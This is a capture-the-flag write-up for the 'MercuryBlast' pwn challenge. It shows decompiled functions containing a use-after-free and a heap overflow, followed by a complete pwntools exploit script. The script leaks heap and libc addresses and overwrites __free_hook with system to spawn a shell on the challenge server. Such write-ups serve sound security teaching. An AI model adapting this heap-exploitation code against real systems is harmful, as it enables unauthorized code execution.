🌐

Firebird CTF: MercuryBlast(Pwn)

 

1st 🩸

Author: Nuttyshell ivan
 
 

Analyse

 
IDA:
unsigned __int64 delete_record() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Input Index: "); __isoc99_scanf("%d", &v1); if ( v1 <= 0xF && records[v1] ) { free(*(void **)(records[v1] + 0x10LL)); free((void *)records[v1]); records[v1] = 0LL; puts("Record Deleted!"); } else { puts("Invalid index!"); } return __readfsqword(0x28u) ^ v2; }
The delete_record function in the code presents a clear Use-After-Free (UAF) vulnerability, as it does not clear the description pointer. This can be exploited to leak heap addresses.
 
unsigned __int64 edit_record() { unsigned int idx; // [rsp+8h] [rbp-18h] BYREF int v2; // [rsp+Ch] [rbp-14h] BYREF __int64 v3; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Input index: "); __isoc99_scanf("%d", &idx); if ( idx <= 0xF && records[idx] ) { printf("Input Temperature: "); __isoc99_scanf("%lf", &v3); printf("Input Description Size: "); __isoc99_scanf("%d", &v2); if ( v2 <= 0x200 ) { if ( v2 > 0 ) { *(_QWORD *)records[idx] = v3; *(_DWORD *)(records[idx] + 8LL) = v2; printf("Input Description: "); read(0, *(void **)(records[idx] + 0x10LL), v2); puts("Record updated!"); } else { puts("Invalid description size!"); } } else { puts("Description too long!"); } } else { puts("Invalid index!"); } return __readfsqword(0x28u) ^ v4; }
Furthermore, the edit_record function has an obvious heap overflow vulnerability.
This can be used to modify the size of the adjacent heap chunk so that it gets placed into the unsorted bin, leading to a leak of the libc address.
The records heap chunk is used to access the description heap chunk, which means that subsequent operations can achieve arbitrary address read and write.
 

Exploit

exp.py:
from pwn import * elf=ELF('./pwn') # r=process('./pwn') r=remote('ash-chal.firebird.sh',36034) libc=ELF('./libc.so.6') # libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug' context.terminal=['tmux','splitw','-h'] context.arch='amd64' def create(temperature,size,data=b'\n'): r.recvuntil(b'Your choice: ') r.sendline(b'1') r.recvuntil(b'Input Temperature: ') r.sendline(bytes(str(temperature),encoding='utf8')) r.recvuntil(b'Input Description Size: ') r.sendline(bytes(str(size),encoding='utf8')) r.recvuntil(b'Input Description: ') r.send(data) def show(): r.recvuntil(b'Your choice: ') r.sendline(b'2') def delete(idx): r.recvuntil(b'Your choice: ') r.sendline(b'3') r.recvuntil(b'Input Index: ') r.sendline(bytes(str(idx),encoding='utf8')) def edit(idx,temperature,size,data): r.recvuntil(b'Your choice: ') r.sendline(b'4') r.recvuntil(b'Input index: ') r.sendline(bytes(str(idx),encoding='utf8')) r.recvuntil(b'Input Temperature: ') r.sendline(bytes(str(temperature),encoding='utf8')) r.recvuntil(b'Input Description Size: ') r.sendline(bytes(str(size),encoding='utf8')) r.recvuntil(b'Input Description: ') r.send(data) def blast(pay): r.recvuntil(b'Your choice: ') r.sendline(pay) create(1.1,0x20) create(1.1,0x18) delete(0) delete(1) create(1.1,0x18) show() r.recvuntil(b'Description: ') heap_base = u64(r.recv(6).ljust(8,b'\x00')) - 0x20a print(hex(heap_base)) create(1.1,0x20) # 1 create(1.1,0x200) # 2 create(1.1,0x200) # 3 create(1.1,0x200,b'/bin/sh') # 4 payload = flat(b'a'*0x20,0,0x21,0x3ff199999999999a,0x18,heap_base + 0x310,0x481) edit(1,1.1,len(payload),payload) # gdb.attach(r,'b*$rebase(0x1497)') delete(0) create(1.1,0x30) # 0 show() r.recvuntil(b'Description: ') libc_base = u64(r.recv(6).ljust(8,b'\x00')) - 0x1ebf0a - 0x1000 print(hex(libc_base)) system_addr = libc_base + libc.symbols['system'] free_hook = libc_base + libc.symbols['__free_hook'] payload = flat(b'a'*0x20,0,0x21,0x3ff199999999999a,0x30,free_hook,0x41) edit(1,1.1,len(payload),payload) edit(0,1.1,8,flat(system_addr)) delete(4) # gdb.attach(r,'b*$rebase(0x1876)') r.interactive()
notion image
 
GLHF~